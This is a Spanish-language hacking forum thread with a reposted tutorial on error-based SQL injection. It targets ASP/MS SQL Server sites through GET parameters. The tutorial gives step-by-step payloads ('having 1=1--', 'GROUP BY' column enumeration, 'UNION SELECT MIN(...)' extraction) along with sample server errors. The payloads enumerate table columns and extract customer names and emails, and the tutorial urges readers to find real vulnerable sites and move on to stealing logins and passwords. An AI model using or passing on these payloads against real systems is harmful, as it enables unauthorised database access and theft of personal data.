Febrero 24, 2018, 05:23:39 pm

Autor Tema: [Inyeccion SQL desde 0 ]  (Leído 1913 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado M4inFox

  • Yo vivo en CPH
  • ***
  • Mensajes: 1344
  • Sexo: Masculino
  • Intentamos matar el tiempo..él nos acabara matando
    • Ver Perfil
    • Posicion SEO | SEM | SMO
[Inyeccion SQL desde 0 ]
« en: Octubre 06, 2009, 06:45:59 pm »
Me encontre este tutorial muy bueno espero que lo disfruten:

Wenas.
aqui explicare a iniciarse en las inyecciones SQL a través de variables de tipo GET. La idea me ha surgido al empezar a introducir a Plaga al divertido mundo de las vulnerabilidades.

Tras leerse y aprender lo que se va a exponer en este pequeño tutorial/manual podreis manejaros un poco más en el uso de las SQL Injection, una vulnerabilidad que cada día se extiende más. Nosotros nos vamos a basar en usar el método de ir probando y obteniendo errores, de los cuales sacaremos información jugosa.

Primeros pasos:sacando la tabla

Bien, para empezar necesitamos encontrar alguna web que potencialmente pudiera (no lo sabemos todavía) tener algún script del tipo “noticias.asp?ID=”, “artículos.php?view=” vulnerable.
———————————————————————————————–
Consejo:es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado.
————————————————————————————————

La inyección la introducimos en variables de tipo GET. ¿Qué son estas variables? Resumiendo muy mucho,,podemos decir que son aquellas variables que se introducen a través de la URL.
Vamos a utilizar un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo “www.paginafals a.com/index.asp?profile=47″. Para comprobar si es vulnerable comenzamos por poner’. Con ‘ indicamos la finalización de una sentencia SQL. Nuestro código malicioso será ‘ having 1=1–. El “–” sirve para que sean ignoradas todas las sentecias que venga detrás, equivale al “#” en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debería de “vomitar” la web un error del estilo de:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien no os alarmais, de aquí lo único que nos interesa es Datos.Id. “Datos” es el nombre de la tabla en la que estamos operando, y “Id” es el nombre del campo. Sería aconsejable hechar un pequeño vistazo a algún manual de manejo de DBs para comprender su estructura. En estos campos será donde se encuentre contenida la información que maneja la DB de la web que estamos “atacando”. Ahora imprescindible agarrar el notepad y ponen “NOMBRE TABLA: Datos” y despues en otra línea “Campos: 1º Id”.

Le ponesmos “1º” porque los campos se encuentran ordenados dentro de la DB y éste orden es imprescindible a la hora de construir las sentencias.

Sacando los campos de la tabla

Ahora si recopilamos la información que deberíamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. ¿Para qué? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarán basarse en la info que vayamos obteniendo, a parte, el nombre de los campos nos darán una pista sobre donde puede haber la información que andamos buscando (una tabla que se llame passwords, tiene un altísimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo lo tienes servido).

Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyección:

‘ GROUP BY Datos.Id having 1=1–

¿y qué es lo que nos vomita la web?

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.clientes’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, ya tenemos el 2º campo: “clientes”. Pero, ¿como seguimos extrayendo información? Añadiendo mediante una “,” el nuevo campo descubierto, así la inyección nos dará el siguiente campo, quedando algo así:

‘ GROUP BY Datos.Id,clientes having 1=1–

Y ahora nos devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.correo’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, lo mismo de antes, pero con el tercer campo, “correo”. No hace falta deciros que toda esta info de los campos debe de ser guardada en nuestro notepad.

Ahora, tenemos que ir poniendo la misma inyección, únicamente con la adición de una nueva “,” y del campo qeu descubrimos hasta que nos salga algo tipo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna ‘Datos’ no coincide con un nombre de tabla o con un alias usado en la consulta.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Esto es el indicativo de que ya no hay más campos, por lo tanto ya sabemos que: la tabla se llama “Datos”, tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les comenté al inicio del tutorial, vamos a trabajar con los campos clientes y correo.

Mostrando el contenido de los campos

Ya tenemos los campos que nos hacían falta y que contiene la informacion que andabamos buscando, pero ahora nos hace falta “ver” esa información. Ahora es cuando entra en juego el uso de sentencias ‘ UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo número de campos que tiene la tabla, para ello usaremos “1″.

Lo que haremos será primero encontrar un valor en el campo “clientes” y después encontrar su correo correspondient e. Para ello nos deberemos de basar en la ingeriniería social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyección de esta forma:

‘ UNION SELECT MIN(Campo),1,1,1/* tantos “1″ como campos */ FROM Tabla WHERE campo > ‘j’–

Con esto nos devolverá el primer nombre que empiece por “j”. El error que nos devuelve el contenido es devido a que la variable está cofigurada como de tipo “varchar” y al ser una letra con lo que operamos, la función “min()” sufre un error de sintaxis. Mi inyeccion es esta:

‘ UNION SELECT MIN(clientes),1,1 FROM Datos WHERE cleintes > ‘j’–

Y me devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar “Juanito” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

JOOJOOJOJO hay un cliente que se llama Juanito jejejeje. Veamos su correo:

‘ UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = ‘Juanito’–

Y el resultado es…

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar ” he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Pues ya tenemos nuestros datos y el cliente “juanito” tiene un correo que es he[ARROBA]ArgeniversoHAck.com“>Juanito_de_noc You are not allowed to view links. Register or Login. Ahora transporatar estos conocimientos a un login, con user y password.

Bueno espero k este tuto os alla serbido de algo.

Salu2

P.D.= tutotorial creado por Vengador De Las Sombras (Todo no, algo lo e puesto yo xD)

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado rgb90

  • Godlike
  • adm
  • *****
  • Mensajes: 8281
  • Sexo: Masculino
    • Ver Perfil
Re: [Inyeccion SQL desde 0 ]
« Respuesta #1 en: Octubre 06, 2009, 06:49:29 pm »
You are not allowed to view links. Register or Login ?? XD

Vengador de las Sombras era el moderador de esta sección :P


exclamation
[+1] CUrso Externo: PHP para muy muy Novatos - Aprender SQL Inyeccion desde aqui

Iniciado por M4inFox

0 Respuestas
2077 Vistas
Último mensaje Mayo 05, 2013, 02:12:24 pm
por M4inFox
question
Inyección SQL en vb

Iniciado por Massimo97

2 Respuestas
1117 Vistas
Último mensaje Junio 11, 2012, 12:59:08 am
por Solid Water
xx
Inyeccion SQL en ASP

Iniciado por Modena

2 Respuestas
1515 Vistas
Último mensaje Febrero 09, 2008, 01:24:13 am
por Modena
exclamation
Inyeccion Dll

Iniciado por mDrinky

0 Respuestas
1374 Vistas
Último mensaje Junio 16, 2010, 11:29:27 am
por mDrinky
exclamation
Inyeccion

Iniciado por mDrinky

0 Respuestas
831 Vistas
Último mensaje Abril 18, 2010, 07:10:44 am
por mDrinky
xx
Inyeccion PHP

Iniciado por soez

5 Respuestas
2623 Vistas
Último mensaje Marzo 20, 2011, 02:47:11 pm
por seth
xx
inyeccion sql

Iniciado por oggun arere

1 Respuestas
1430 Vistas
Último mensaje Noviembre 13, 2006, 05:33:50 pm
por OzX
question
sql inyeccion

Iniciado por G0kuu

7 Respuestas
1844 Vistas
Último mensaje Diciembre 25, 2009, 06:28:46 pm
por S[e]C
xx
Inyeccion Sql

Iniciado por kentshy

2 Respuestas
2112 Vistas
Último mensaje Marzo 31, 2008, 06:28:19 am
por kentshy
question
¿Inyección en Red Lan?

Iniciado por xmna

16 Respuestas
6830 Vistas
Último mensaje Octubre 14, 2009, 05:41:07 pm
por syncrack